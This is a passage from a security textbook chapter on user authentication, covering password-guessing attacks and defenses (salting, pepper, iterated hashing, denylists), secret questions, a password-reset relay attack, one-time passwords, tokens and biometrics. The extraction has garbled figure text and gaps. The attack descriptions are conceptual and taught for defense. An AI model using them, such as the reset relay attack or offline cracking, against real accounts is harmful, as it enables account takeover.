‡Exercise (Morris worm dictionary). Describe the dictionary that the Internet worm
of 1988 used. (Hint: [22], [53], [56], [54, pages 19–23]. This incident, mentioned again
in Chapter 7, contributed to the rise of defensive password composition policies.)
TARGETED VS . TRAWLING SCOPE . The pre-computed attack above considered:
• a targeted attack specifically aimed at pre-identified users (often one); and
• a password trawling attack aiming to break into any account by trying many or
all accounts. (Section 3.8 discusses related breadth-first attacks.)
A PPROACHES TO DEFEAT PASSWORD AUTHENTICATION . Password authentica-
tion can be defeated by several technical approaches, each targeted or trawling.
1. Online password guessing. Guesses are sent to the legitimate server (Section 3.2).
2. Offline password guessing. No per-guess online interaction is needed (Section 3.2).
3. Password capture attacks. An attacker intercepts or directly observes passwords by
means such as: observing sticky-notes, shoulder-surfing or video-recording of entry,
hardware or software keyloggers or other client-side malware, server-side interception,
proxy or middle-person attacks, phishing and other social engineering, and pharming.
Details of these methods are discussed in other chapters.
58 Chapter 3. User Authentication—Passwords, Biometrics and Alternatives
B1 B4
A1
guessing B2 B5
A2
B3 B6
capture
C1 B7 B8
backdoor C2 B9
bypass D1
E1
defea<ng recovery mechanisms
E2
reconstruc<on F1 F2
F3
Figure 3.1: Password attacks. Attack labels match attacks in Figure 1.9 (Chapter 1).
out” legitimate users whose accounts are attacked,2 a drawback that can be ameliorated
by account recovery methods (Section 3.3). A variation is to increase delays, e.g., dou-
bling system response time after successive incorrect login: 1 s, 2 s, 4 s, and so on.
O FFLINE PASSWORD GUESSING . In offline guessing attacks (e.g., by pre-computed
dictionary per page 57, or on-the-fly below), it is assumed that an attacker has somehow
acquired the system password hash file. (Chapter 5 discusses how Unix-based systems
store password hashes in /etc/passwd and related files. Password hashing is more com-
mon than reversible encryption, as that also requires a means to protect the encryption
key itself.) This indeed occurs often in practice, but is a significant requirement absent
for online guessing attacks. The hash file provides verifiable text (Chapter 4), i.e., data al-
lowing a test of correctness of password guesses without contacting the legitimate server.
Consequently, the number of offline guesses that can be made over a fixed time period is
limited only by the computational resources that an attacker can harness; in contrast for
online guessing, even without rate-limiting, the number of guesses is limited by the online
server’s computing and bandwidth capacity.
I TERATED HASHING ( PASSWORD STRETCHING ). Offline password guessing at-
tacks can be slowed down using a tactic called iterated hashing (or password stretching).
Ideally this defense is combined with salting (below). The idea is that after hashing a
password once with hash function H, rather than storing H(pi ), the result is itself hashed
again, continuing likewise d times, finally storing the d-fold hash H(...H(H(pi ))...), de-
noted H d (pi ). This increases the hashing time by a factor of d, for both the legitimate
server (typically once per login) and each attacker guess. Practical values of d are limited
by the constraint that the legitimate server must also compute the iterated hash. A value
d = 1000 slows attacks by a factor of 1000, and d can be adjusted upward as computing
power increases, e.g., due to advances in hardware speeds.3
PASSWORD SALTING . To combat dictionary attacks (above), common practice is to
salt passwords before hashing. For userid ui , on registration of each password pi , rather
than storing hi = H(pi ), the system selects, e.g., for t ≥ 64, a random t-bit value si as salt,
and stores (ui , si , H(pi , si )) with pi , si concatenated before hashing. Thus the password
is altered by the salt in a deterministic way before hashing, with si stored cleartext in the
record to enable verification. For trawling attacks, the above dictionary attack using a pre-
computed table is now harder by a factor of 2t in both computation (work) and storage—a
table entry is needed for each possible value si . For attacks on a targeted userid, if the salt
value si is available to an insider or read from a stolen file F, the salt does not increase the
time-cost of on-the-fly attacks where candidate passwords are hashed in real time vs. using
pre-computed tables of hashes (above); confusingly, both are called dictionary attacks.
A bonus of salting is that two users who happen to choose the same password, will
almost certainly have different password hashes in the system hash file. A salt value si
may also combine a global system salt, and a user-specific salt (including, e.g., the userid).
P EPPER ( SECRET SALT ). A secret salt (sometimes called pepper) is like a regular
2 The Pinkas-Sander protocol (Section 3.7) avoids this denial of service (DoS) problem.
3 This follows the principle of DESIGN - FOR - EVOLUTION (HP2).
3.2. Password-guessing strategies and defenses 61
salt, but not stored. The motivation is to slow down attacks, by a method different than
iterated hashing but with similar effect. When user ui selects a new password pi , the
system chooses a random value ri , 1 ≤ ri ≤ R; stores the secret-salted hash H(pi , ri ); and
then erases ri . To later verify a password for account ui , the system sequentially tries all
values r∗ = ri in a deterministic order (e.g., sequentially, starting at a random value in
[1, R], wrapping around from R to 1). For each r∗ it computes H(pi , r∗ ) and tests for a
match with the stored value H(pi , ri ). For a correct pi , one expects a successful match on
average (i.e., with 50% probability) after testing half the values r∗ , so if R is 20 bits, one
expects on average a slow-down by a factor 219 . Pepper can be combined with regular salt
as H(pi , si , ri ), and with iterated hashing. (Aside: if the values r∗ are tested beginning at a
fixed point such as 0, timing data might leak information about the value of ri .)
S PECIALIZED PASSWORD - HASHING FUNCTIONS . General crypto hash functions
H from the 1990s like MD5 and SHA-1 were designed to run as fast as possible. This
also helps offline guessing attacks, wherein hash function computation is the main work;
relatively modest custom processors can exceed billions of MD5 hashes per second. As
attackers improved offline guessing attacks by leveraging tools such as Graphics Process-
ing Units (GPUs), parallel computation, and integrated circuit technology called FPGAs
(field-programmable gate arrays), the idea of specialized password-hashing functions to
slow down such attacks arose. This led to the international Password Hashing Competition
(PHC, 2013-2015), with winner Argon2 now preferred; prior algorithms were bcrypt and
scrypt. Specialized hash functions called key derivation functions (KDFs) are also used to
derive encryption keys from passwords. As an older example, PBKDF2 (password-based
KDF number 2) takes as inputs (pi , si , d, L)—a password, salt, iteration count, and desired
bitlength for the resulting output to be used as a crypto key.
Example (GPU hashing). GPUs are particularly well-suited to hash functions such as
MD5 and SHA-1, with cost-efficient performance from many inexpensive custom cores.
For example, the circa-2012 Tesla C2070 GPU has 14 streaming multiprocessors (SMs),
each with 32 computing cores, for 448 cores in one GPU. Machines may have, e.g., four
GPUs. As a result, password-hashing functions are now designed to be “GPU-unfriendly”.
S YSTEM - ASSIGNED PASSWORDS AND BRUTE - FORCE GUESSING . Some systems
use system-assigned passwords.4 The difficulty of guessing passwords is maximized by
selecting each password character randomly and independently. An n-character password
chosen from an alphabet of b characters then results in bn possible passwords, i.e., a pass-
word space of size bn . On such systems, there is no guessing strategy better than brute-
force guessing: simply guessing sequentially using any enumeration (complete listing in
any order) of the password space. The probability of success is 100% after bn guesses,
with success expected on average (i.e., with 50% probability) after bn /2 guesses. If the
passwords need not be a full n characters, a common attack strategy would first try all
one-character passwords, then all two-character passwords, and so on. System-assigned
passwords are little used today. Their higher security comes with poor usability—humans
4 For example, in 1985, FIPS 112 [49] noted that many user-chosen passwords are easily guessed, and
therefore all passwords should be system-generated.
62 Chapter 3. User Authentication—Passwords, Biometrics and Alternatives
are unable to manually remember large numbers of random strings for different accounts,
even without password expiration policies (below). Random passwords are more plausible
(usable) when password manager tools are used (Section 3.6).
P ROBABILITY OF GUESSING SUCCESS . Simple formulas giving the probability that
system-assigned passwords are guessed can help inform us how to measure vulnerability.
(For user-chosen passwords, these simple formulas fail, and partial-guessing metrics per
Section 3.8 are used.) The baseline idea is to consider the probability that a password is
guessed over a fixed period (e.g., 3 months or one year). A standard might allow maximum
guessing probabilities of 1 in 210 and 1 in 220 , respectively, for Level 1 (low security) and
Level 2 (higher security) applications. The parameters of interest are:
• G, the number of guesses the attacker can make per unit time;
• T , the number of units of time per guessing period under consideration;
• R = bn , the size of the password space (naive case of equiprobable passwords).
Here b is the number of characters in the password alphabet, and n is the password length.
Assume that password guesses can be verified by online or offline attack. Then the prob-
ability q that the password is guessed by the end of the period equals the proportion of the
password space that an attacker can cover. If GT > R then q = 1.0, and otherwise
q = GT /R for GT ≤ R (3.1)
Passwords might be changed at the end of a period, e.g., due to password expiration
policies. If new passwords are independent of the old, the guessing probability per period
is independent, but cumulatively increases with the number of guessing periods.
Example (Offline guessing). For concreteness, consider T = 1 year (3.154 × 107 s);
truly random system-assigned passwords of length n = 10 from an alphabet of b = 95
printable characters yielding R = bn = 9510 = 6 × 1019 ; and G = 100 billion guesses per
second (this would model an attack with a relatively modest number of modern GPUs,
but otherwise favorable offline attack conditions assuming a password hash file obtained,
a fast hash function like MD5, and neither iterated hashing nor secret salts). A modeling
condition favoring the defender is the assumption of system-assigned passwords, which
have immensely better guess-resistance than user-chosen passwords (below). Given these
model strengths and weaknesses, what do the numbers reveal?
q = GT /R = (1011 )(3.154 × 107 )/6(1019 ) = 0.05257 (3.2)
Oops! A success probability over 5% far exceeds both 2−10 and 2−20 from above. These
conditions are too favorable for an attacker; a better defensive stance is needed.
‡Exercise (Password expiration/aging). Password expiration policies require users to
change passwords regularly, e.g., every 30 or 90 days. Do such policies improve security?
List what types of attacks they stop, and fail to stop. (Hint: [14], [62].)
L OWER BOUND ON LENGTH . Equation (3.1) can be rearranged to dictate a lower
bound on password length, if other parameters are fixed. For example, if security policy
specifies an upper bound on probability q, for a fixed guessing period T and password
alphabet of b characters, we can determine the value n required (from R = bn ) if we have
3.2. Password-guessing strategies and defenses 63
a reliable upper bound estimate for G, since from R = bn and (3.1) we have:
n = lg(R)/lg(b) where R = GT /q. (3.3)
Alternatively, to model an online attack, (3.1) can determine what degree of rate-limiting
suffices for a desired q, from G = qR/T .
U SER - CHOSEN PASSWORDS AND SKEWED DISTRIBUTIONS . Many systems today
allow user-chosen passwords, constrained by password composition policies and (as dis-
cussed below) password denylists and other heuristics. Studies show that the distribution
of user-chosen passwords is highly skewed: some passwords are much more popular than
others. Figure 3.2 illustrates this situation. Attackers tailor their guessing strategies by try-
ing more popular (higher estimated probability) passwords first. While originally the term
dictionary attack loosely implied leveraging words in common-language dictionaries, it
now often refers to using ordered lists of password candidates established by heuristic
means (e.g., based on empirical password databases including huge lists published after
compromises), often with on-the-fly computation of hashes (cf. p.60).
PASSWORD DENYLISTS AND PROACTIVE PASSWORD CRACKING . Due to the
phenomenon of skewed password distributions, another simple defense against (especially
online) password-guessing attacks is denylisting of passwords. This involves composing
lists of the most-popular passwords, e.g., observed from available password distributions
publicly available or within an enterprise organization. These denylists, originally based
on a modified regular-language dictionary, need not be huge—e.g., as short as 104 to 106
entries. The idea then, sometimes also called proactive password checking, is to disallow
any password, at the time a user tries to select it, if it appears on the denylist. A related idea
passwords
chosen (dots)
y=1
y=0
Password space dis;nct passwords (x)
frequency
(y)
is for a system to try to “crack” its own users’ passwords using only the password hashes
and background computing cycles, in variations of dictionary attacks described earlier;
account owners of cracked passwords are sent email notices to change their passwords
because they were too easily found.5
‡Exercise (Heuristic password-cracking tools). (a) Look up and experiment with
common password-cracking tools such as JohnTheRipper and oclHashcat. (b) Do they
use pre-computed tables, or hash password guesses on-the-fly? Discuss. (c) Explain what
mangling rules are. (Hint: [57].)
L OGIN PASSWORDS VS . PASSKEYS . Recalling KDFs (above), passwords may be
used to derive cryptographic keys, e.g., for file encryption. Such password-derived en-
cryption keys (passkeys) are subject to offline guessing attacks and require high guessing-
resistance. For site login passwords, complex composition policies are now generally rec-
ognized as a poor choice, imposing usability burdens without necessarily improving secu-
rity outcomes; alternatives such as rate-limiting, denylisting, salting and iterated hashing
appear preferable (Table 3.1). In contrast, for passkeys, complex passwords are prudent;
memory aids include use of passphrases, the first letters of words in relatively long sen-
tences, and storing written passwords in a safe place. Note that in contrast to site pass-
words, where “password recovery” is a misnomer (Section 3.3), recovering a forgotten
password itself is a requirement for passkeys—consider a passkey used to encrypt a life-
time of family photographs. Users themselves are often responsible for managing their
own password recovery mechanism for passkeys (some realize this only too late).
Defensive measure Primary attack addressed Notes
rate-limiting online guessing some methods result in user lockout
denylisting online guessing disallows worst passwords
salt pre-computed dictionary increases cost of generic attacks
iterated hashing offline guessing combine with salting
pepper offline guessing alternative to iterated hashing
MAC on password offline guessing stolen hash file no longer useful
Table 3.1: Defenses against web-login password attacks. For offline attacks, a file of
password hashes is also needed and thus one may assume that salts are also known.
Example (Password management: NIST SP 800-63B). U.S. government password
guidelines were substantially revised in 2017. They include: mandating use of password
denylists to rule out common, highly predictable, or previously compromised passwords;
mandating rate-limiting to throttle online guessing; recommending against composition
rules, e.g., required combinations of lowercase, uppercase, digits and special characters;
recommending against password expiration, but mandating password change upon evi-
dence of compromise; mandating secure password storage methods (salt of at least 32
bits, hashing, suitable hash iteration counts, e.g., cost-equivalent to 10,000 iterations for
PBKDF2); recommending a further secret key hash (MAC) and if so mandating that the
key be stored separately (e.g., in a hardware security module/HSM).
5 Because
the most-popular passwords are also most easily guessed, failure to use denylists goes against
two principles: P12, SUFFICIENT- WORK - FACTOR and P13, DEFENSE - IN - DEPTH (equal-height fences).
3.3. Account recovery and secret questions 65
‡Exercise (Password guidelines: others). Compare the revised U.S. guidelines above
[29, Part B] to those of governments of: (i) U.K., (ii) Germany, (iii) Canada, (iv) Australia.
‡Exercise (Password-guessing defenses). An expanded version of Table 3.1 includes
password composition rules (length and character-set requirements), password expiration,
and password meters. (a) Discuss the pros and cons of these additional measures, includ-
ing usability costs. (b) Discuss differences in guessing-resistance needed for passwords
to resist online guessing vs. offline guessing attacks. (Hint: [24].)
3. some users register false answers but forget this, or the false answers themselves.6
S ECURITY ASPECTS . Challenge questions are at best “weak” secrets—the answer
spaces are often small (pro baseball team, spouse’s first name) or highly skewed by popu-
larity (favorite food or city), making statistical guessing attacks easy. For targeted attacks,
some answers are easily looked up online (high school attended). User-created questions,
as allowed in some systems, are also notoriously bad (e.g., favorite color). Trying to sal-
vage security by requiring answers to more questions reduces efficiency, and increases
rejection of legitimate users due to incorrect answers. The problem remains: the answers
are often not secret or too easily guessed. If more easily guessed than the primary pass-
word, this introduces a weak link as a new attack vector. Recovery questions then violate
principle P13 (DEFENSE - IN - DEPTH); a minor mitigation is to limit the validity period of
recovery codes or links.
S UMMARY. Secret questions are poor both in security (easier to guess than user-
chosen passwords) and reliability (recovery fails more often than for alternatives). In
addition, secret answers are commonly stored plaintext (not hashed per best practice for
passwords) to allow case-insensitive matching and variations in spacing; this leaves the
answers vulnerable to server break-in, which a large company then apologizes for as
an “entirely unforeseeable” event. They then ask you to change your mother’s maiden
name—in their own system, and every other system where that question is used. (This
may however be easier than changing your fingerprints when biometric data is similarly
compromised. All of a sudden, regular passwords start to look not so bad, despite many
flaws!) Overall, the general consensus is that secret questions are best abandoned; any use
should be accompanied by additional authenticators, e.g., a link sent to an email account
on record, or a one-time password texted to a registered mobile phone.
‡Example (Password Reset Attack). Password reset processes that rely on secret ques-
tions or SMS codes may be vulnerable to an interleaving attack. The attacker requires con-
trol of a web site (site-A), and a way to get user victims to visit it, but need not intercept
Internet or phone messages. Site-A offers download of free resources/files, requiring users
to register first. The registration solicits information such as email address (if the goal is
to take over that email address), or SMS/text phone contact details (see below); the latter
may be solicited (“for confirmation codes”) as the user attempts to download a resource.
The user visits site-A and creates a new account as noted. In parallel, the attacker requests
password reset on an account of the same victim at a service provider site-B (often the
userid is the same email address)—an email provider or non-email account. Site-B, as
part of its reset process, asks secret questions before allowing password reset; these are
forwarded by the attack program to the victim on site-A, positioned as part of site-A’s reg-
istration. Answers are forwarded to site-B and authorize the attacker to set a new account
password on site-B. If site-B’s reset process involves sending one-time codes to the con-
tact number on record, the attacker solicits such codes from the victim, positioned as part
of registration or resource download from site-A. If site-B sends CAPTCHA challenges
(Section 3.7) to counter automated attacks, they are similarly relayed to the victim on
6 Some users believe false answers improve security; empirical studies have found the opposite.
3.4. One-time password generators and hardware tokens 67
site-A. The attack requires synchronization and seems complicated, but has been demon-
strated on a number of major real-world services. The attack fails for sites sending reset
messages to email addresses on record, but resets relying on secret questions or SMS
codes are common, e.g., to address users having lost access to recovery email accounts,
or when the account host is itself an email provider and users lack alternate email.
...
...
t nested iterations. The elements in the sequence are used once each in the order:
h1 = H 99 (w), h2 = H 98 (w), ..., h98 = H(H(w)), h99 = H(w), h100 = w (3.4)
For 1 ≤ i ≤ 100 the password for session i will be hi = H t−i (w). As set-up, A sends as
a shared secret to B, the value h0 = H 100 (w), over a channel ensuring also data origin
authenticity (so B is sure it is from A, unaltered); B stores h0 as the next-verification value
v. Both parties set i = 1. Now to authenticate in session i (for t sessions, 1 ≤ i ≤ t),
A computes the next value hi in the chain and sends to B: (idA , i, hi ). (The notation is
such that the values are used in reverse order, most-iterated first.) B takes the received
value hi , hashes it once to H(hi ), checks for equality to the stored value v (which is hi−1 ),
and that the i received is as expected. Login is allowed only if both checks succeed; B
replaces v by the received hi (for the next authentication), and i is incremented. A can thus
authenticate to B on t occasions with distinct passwords, and then the set-up is renewed
with A choosing a new w (one-time passwords must not be reused). Note that for each
session, A provides evidence she knows w, by demonstrating knowledge of some number
of iterated hashes of w; and even if an attacker intercepts the transferred authentication
value, that value is not useful for another login (due to the one-way property of H).
‡Example (Pre-play attack on OTPs). OTP schemes can be attacked by capturing
one-time passwords and using them before the system receives the value from the legit-
imate user. Such attacks have been reported—e.g., an attacker socially engineers a user
into revealing its next five banking passwords from their one-time password sheet, “to
help with system testing”. Thus even with OTPs, care should be exercised; ideally OTPs
would be sent only to trusted (authenticated) parties.
‡Example (Alternative OTP scheme). The following might be called a “poor man’s”
OTP scheme. Using a pre-shared secret P, A sends to B: (r, H(r, P)). B verifies this
using its local copy of P. Since a replay attack is possible if r is reused, r should be a
time-varying parameter (TVP) such as a constantly increasing sequence number or time
counter, or a random number from a suitably large space with negligible probability of
duplication. As a drawback, a cleartext copy of the long-term secret P is needed at B.
‡Exercise (Forward guessing attack). Explain how the method of the example above
can be attacked if P is a “poorly chosen” secret, i.e., can be guessed within a feasible
number of guesses (here “feasible” means a number the attacker is capable of executing).
PASSCODE GENERATORS . A commercial form of one-time passwords involves in-
expensive, calculator-like passcode generators (Fig. 3.4). These were originally special-
ized devices, but similar functionality is now available using smartphone apps. The de-
vice holds a user-specific secret, and computes a passcode output with properties similar
to OTPs. The passcode is a function of this secret and a TVP challenge. The TVP might
be an explicit (say eight-digit) string sent by the system to the user for entry into the de-
vice (in this case the device requires a keypad). Alternatively, the TVP can be an implicit
challenge, such as a time value with, say, one-minute resolution, so that the output value
remains constant for one-minute windows; this requires a (loosely) synchronized clock.
The OTP is typically used as a “second factor” (below) alongside a static password. The
user-specific secret is stored in cleartext-recoverable form system-side, to allow the sys-
3.4. One-time password generators and hardware tokens 69
user A system B
secret sA ... ...
A here, I’d like to log in
A sA sA
... ...
c f
f here is a fresh challenge, c
=
response: r = f(c, sA )
yes no
allow deny
Figure 3.4: Passcode generator using a keyed one-way function f . User-specific secret
sA is shared with the system. Response r is like a one-time password.
tem to compute a verification value for comparison, from its local copy of the secret and
the TVP. Generating OTPs locally via passcode generators, using a synchronized clock as
an implicit challenge, can replace system-generated OTPs transmitted as SMS codes to
Passcode generator implemen<ng a keyed one-way func<on f. The user-specific
users—and without the risk of an SMS message being intercepted.
secret is sA is shared with the system. Response r plays the role of a one-<me
H ARDWARE TOKENS . Passcode generators and mobile phones used for user authen-
password. (Based on: [HAC, p.403].)
tication are instances of “what you have” authentication
methods. This class of methods
includes hardware tokens such as USB keys and chip-cards (smart cards), and other phys-
ical objects intended to securely store secrets and generate digital tokens (strings) from
them in challenge-response authentication protocols (Chapter 4). As a typical example,
suppose a USB token holds user A’s RSA (public, private) signature key pair. The to-
ken receives a random number rB as a challenge. It sends in response a new random
number rA , and signature SA (rA , rB ) over the concatenated numbers. This demonstrates
knowledge of A’s private key in a way that can be verified by any holder of a valid (e.g.,
pre-registered) copy of A’s public key. The term authenticator is a generic descriptor for a
hardware- or software-based means that produces secret-based strings for authentication.
U SER AUTHENTICATION CATEGORIES . User authentication involves three main
categories of methods (Fig. 3.5). Knowledge-based means (“what you know”) include
things remembered mentally, e.g., passwords, PINs, passphrases. The “what you have”
category uses a computer or hardware token physically possessed (ideally, difficult to
replicate), often holding a cryptographic secret; or a device having hard-to-mimic physical
properties. The “what you are” category includes physical biometrics (Section 3.5), e.g.,
fingerprints; related methods involve behavioral biometrics or distinguishing behavioral
patterns. A fourth category, “where you are”, requires a means to determine user location.
M ULTIPLE FACTORS . This chapter discusses several user authentication alternatives
to passwords. These can either replace, or be used alongside passwords to augment them.
In the simplest form, two methods used in parallel both must succeed for user authentica-
tion. Two-factor authentication (2FA) does exactly this, typically requiring that the meth-
ods be from two different categories (Fig. 3.5); a motivation is that different categories are
more likely to deliver independent protection, in that a single attack (compromise) should
not defeat both methods. Multi-factor authentication is defined similarly. Most such fac-
70 Chapter 3. User Authentication—Passwords, Biometrics and Alternatives
1 what 2
User authen+ca+on categories 5 what
based on you know you have
type of verifica+on evidence mul+- 6 7
factor
Individual signals may use secrets assumed to be known or possessed only by legitimate
users, or devices or locations previously associated with legitimate users. Silent signals
offer usability advantages, as long as they do not trigger false rejection of legitimate users.
‡FACTORS , PRIMARY AUTHENTICATION , AND RECOVERY. Are second factors
suitable for stand-alone authentication? That depends on their security properties—but
for a fixed application, if yes, then there would seem little reason to use such a factor in
combination with others, except within a thresholding or scoring system. As a related
point, any password alternative may be suitable for account recovery if it offers suffi-
cient security—but in reverse, recovery means are often less convenient/efficient (which
is tolerable for infrequent use) and therefore often unsuitable for primary authentication.
authentication over the Internet. Note that your iPhone fingerprint is not used directly
for authentication to remote payment sites; a two-stage authentication process involves
user-to-phone authentication (biometric verification by the phone), then phone-to-site au-
thentication (using a protocol leveraging cryptographic keys).
FAILURE TO ENROLL / FAILURE TO CAPTURE . Failure to enroll (FTE) refers to
how often users are unsuccessful in registering a template. For example, a non-negligible
fraction of people have fingerprints that commercial devices have trouble reading. The
FTE-rate is a percentage of users, or percentage of enrollment attempts. Failure to capture
(FTC), also called failure to acquire, refers to how often a system is unable to acquire a
sample of adequate quality to proceed. FTE-rate and FTC-rate should be examined jointly
with FAR/FRR rates (below), due to dependencies.
D ISADVANTAGES ( BIOMETRICS ). Many modalities require custom client-side hard-
ware. Adding to system complexity, fallback mechanisms are needed to accommodate
rejection of legitimate users (sometimes surprisingly frequent), and FTE and FTC issues.
Scalability also has a downside: using fingerprints across many systems, each sampling
and storing templates, results in a scenario analogous to password reuse: a compromise
of any system puts others at risk. From experience, believing no such compromise will
occur is naive; but here, because a foundational requirement for biometrics is that they
cannot be changed, the consequences are severe. This inherent “feature” of biometrics
being unrevokable is a daunting show-stopper. Moreover, as biometrics are non-secrets,
their “theft” does not require breaking into digital systems—thus the criticality of ensur-
ing fresh samples bound to individuals, and trusted input channels. Aside from this, the
security of biometrics is often over-stated—even uniqueness of biometric characteristics
across individuals (which measurement limitations reduce) would not preclude circum-
vention; security often depends more on system implementation details than modality.
Example (iPhone fallback authentication). Biometric authentication is generally con-
sidered stronger protection than short numeric passwords (PINs). In 2013, iPhone finger-
print authentication replaced (four-digit) login PINs. Face recognition on 2017 iPhones
replaced this using 3D face models. If a PIN is the fallback for such systems (if the bio-
metric fails to recognize the user after a few tries), then the overall system is no stronger
3.5. Biometric authentication 73
than this fallback.7 Fraudulently entering a PIN does, however, require phone possession.
S UMMARY. Biometrics offer usability advantages, have some deployability disadvan-
tages, are generally less secure than believed, and have failure modes with severe negative
externalities (i.e., consequences for unrelated parties or systems). Thus, biometrics are
by no means a “silver bullet” solution. Their suitability depends, as usual, on the target
environment of use; they suit supervised environments better than remote authentication.
B IOMETRIC PROCESS : ENROLLMENT AND VERIFICATION . A biometric modal-
ity is implemented by selecting a suitable set of measurable features—e.g., for finger-
prints, the arches, loops and whorl patterns formed by skin ridges, their length, relative
locations and distances between them. For each user (account), several sample biometric
measurements are taken in an enrollment phase. Features are extracted to build a refer-
ence template. For subsequent user authentication, a freshly taken sample is compared to
the template for the corresponding implied or asserted account, and a matching score s is
computed; higher scores indicate higher similarity, e.g., s = 0 could denote no similarity,
with s = 100 denoting 100% agreement. A threshold t is set (discussed below). Then if
s ≥ t, the system declares the sample to be from the same individual as the template.
Exercise (Biometric system flow chart). Illustrate the process of biometric enrollment
and verification in a flow-chart relating architectural components (hint: [36, Figure 1]).
FALSE REJECTS , FALSE ACCEPTS . Two types of errors occur in biometric systems.
In a false reject, a legitimate user’s new sample is declared to not match their own tem-
plate. In a false accept, an imposter’s sample is (wrongly) declared to match the legitimate
user’s template. The frequency of these errors depends on both the threshold t and system
limitations (inaccuracies in sampling, measurement and feature representation). Measure-
ment accuracy is affected by how user features present to sensors; environmental factors
also come into play, e.g., dry skin from cold weather impacts fingerprint readings.
A stricter threshold (larger t, requiring stronger matches) results in more false rejects,
but fewer false accepts; this negatively affects usability and availability, but improves
security. A looser tolerance (smaller t, accepting weaker matches) results in fewer false
rejects, but more false accepts; this improves usability and availability for legitimate users,
but obviously decreases security. What is acceptable as a tradeoff between false accepts
and false rejects depends on the application; t is adjusted to suit application scenarios.
High-security (security-sensitive) applications demand stricter matching, tolerating more
false rejects in order to preserve security; low-security applications prioritize usability
over security, setting looser tolerances in order to reduce false rejects.
FALSE ACCEPT / REJECT RATES . Fixing a threshold t and legitimate user L with
reference template XL , let XV denote the biometric samples to be verified. The false ac-
cept rate (FAR) is the probability the system declares XV matches XL when in fact XV is
not from L; this assumes sampling over the user population. Theoretically, to determine
a system FAR, the above could be computed over all users L and reported in composite.
Aside: FAR reflects random sampling, but we expect serious attacks do better than using
random samples in impersonation attempts. This may be viewed as reflecting naive at-
7 Recall we want equal-height fences (P13 DEFENSE - IN - DEPTH); cf. recovery channels (Section 3.3).
74 Chapter 3. User Authentication—Passwords, Biometrics and Alternatives
false rejects
(of L) false accepts
(of I)
x= t matching score s
MI = mean (average) ML = mean (average)
matching score of intruder I matching score of legi4mate user L
Figure 3.6: Biometric system tradeoffs. Curves model probability distributions for an
intruder Trading off between false accepts and false rejects. The two curves are idealized
and legitimate user’s matching scores; higher scores match the user’s biometric
templateprobability distribu4ons for the intruder and legi4mate user scores.
better. The y axis reflects how many biometric samples get matching score x = s.
(For the y axis, think: number of events y that get matching score x=s)
tacks, or benign errors. Security researchers thus view FAR as misleadingly optimistic,
giving more weight to resilience under malicious scenarios (“circumvention”, below).
The false reject rate (FRR) is the probability of a false reject, i.e., prob(system de-
clares XV does not match XL , when sample XV is actually from L); sampling is over re-
peated trials from user L. The equal error rate (EER) is the point at which FAR = FRR
(Fig. 3.7). Although unlikely to be the preferred operational point in practice, EER is used
for simplified single-point comparisons—the system with lower EER is preferred.
T WO - DISTRIBUTION OVERLAP : USER / INTRUDER MATCH SCORES . For a fixed
user L with template XL , two graphs illustrate how altering the threshold t trades off false
accepts and false rejects. The first (Fig. 3.6) has x-axis giving matching score of samples
(against XL ), and y-axis for probability of such scores across a large set of samples. Two
collections of samples are shown, giving two probability distributions: DI (on left) for
intruder samples, DL (on right) for samples from user L. Each value t defines two shaded
areas (shown), respectively corresponding to false rejects and false accepts; moving t left
or right changes the relative sizes of these areas (trading false rejects for false accepts).
Noting each shaded area as a percentage of its corresponding distribution and interpreting
this as a rate allows a second graph to be drawn (Fig. 3.7, left). Its x-axis denotes FAR,
y-axis FRR, and curve point (x, y) indicates FRR = y when FAR = x. Each point implicitly
corresponds to a value t in the system of the first graph. The DET graph (detection error
tradeoff) thus shows a system’s operating characteristics (tuning options) across implicit
values t. Such analysis is common in binary classifier systems. DET graphs are closely
related to relative/receiver operating characteristic curves or ROC curves (Fig. 3.7, right).
Both arise in analyzing four diagnostic outcomes of a binary classifier (true/false positive,
3.5. Biometric authentication 75
(A). In binary classification of events in the intrusion detection scenario (Chapter 11), the
analogous terminology used is True/False Positive Rate, and True/False Negative Rate.
• attack-resistance: can the system avoid adversarial false accepts, i.e., resist user im-
personation (spoofing), substitution, injection, or other attempted circumvention?
C IRCUMVENTION : ATTACKS ON BIOMETRIC AUTHENTICATION . The basic se-
curity question for a biometric system is: How easily can it be fooled into accepting an
imposter? This asks about malicious false accepts, whereas FAR measures benign false
accepts. Related questions are: What attacks work best, are easiest to mount, or most
likely to succeed? How many authentication trials are needed by a skilled attacker? These
questions are harder to address than those about performance measures noted above.
‡Exercise (Circumventing biometrics). (i) Outline generic system-level approaches to
defeating a biometric system, independent of the modality (hint: [35, Fig.9]). (ii) For each
of five selected modalities from Table 3.2, summarize known modality-specific attacks.
(iii) For which modalities are liveness detectors important, or possible?
B IOMETRICS : AUTHENTICATION VS . IDENTIFICATION . This section has con-
sidered biometrics mainly for user authentication, e.g., to replace passwords or augment
them as a second factor. In this usage, a username (account) is first asserted, then the
biometric sample is matched against the (single) corresponding user template. An alter-
nate usage is user identification (i.e., without asserting specific identity); the system then
must do a one-to-many test—as explained in this chapter’s first paragraph. For local iden-
tification to a laptop or smartphone, the number of accounts registered on that device is
typically small; access is granted if any match is found across registered accounts, and the
one-to-many matching has relatively negligible impact on computation (time) or security.
Relieving the user of the task of entering a username improves convenience.
However, for systems with large user bases, one-to-many matching is a poor fit with
access control applications. The probability of a benign match between a single attacker-
entered sample and any one of the many legitimate user templates is too high. The natural
application of “user identification” mode is, unsurprisingly, identification—e.g., to match
a target fingerprint against a criminal database, or use video surveillance face recognition
to match crowd faces against a targeted list (the shorter the better, since the latter case is
many-to-many). The issue of false accepts is handled here by using biometric identifica-
tion as the first-stage filter, with human processing for second-stage confirmation.
‡Exercise (Comparing modalities). Select six biometric modalities from Table 3.2,
plus two not listed. (i) For each, identify primary advantages and limitations. (ii) Using
these modalities as row labels, and bulleted criteria above as column labels, carry out a
qualitative comparison in a table, assigning one of (low, medium, high) to each cell; word
the criteria uniformly, such that “high” is the best rating. (iii) For each cell rated “low”,
briefly justify its rating in one sentence. (Hint: [36], [10].)
S ECURITY AND RISKS . Password managers are password “concentrators”, thus also
concentrating risk by creating a single point of failure and attractive target (recall princi-
ple P13, DEFENSE - IN - DEPTH). Threats to the master password include capture (e.g., by
client-side malware, phishing, and network interception), offline guessing (user-chosen
master passwords), and online guessing in the case of cloud-based services. Individual site
passwords managed, unless migrated to random passwords, remain subject to guessing at-
tacks. Managers thus expose new attack surface (cf. P1 SIMPLICITY- AND - NECESSITY),
but reduced user entry of site passwords may lower susceptibility to keylogger attacks.
R ISK IF PASSWORD MANAGER FAILS . Once a password generator is used to gen-
erate or remember passwords, users rely on it (rather than memory); if the tool becomes
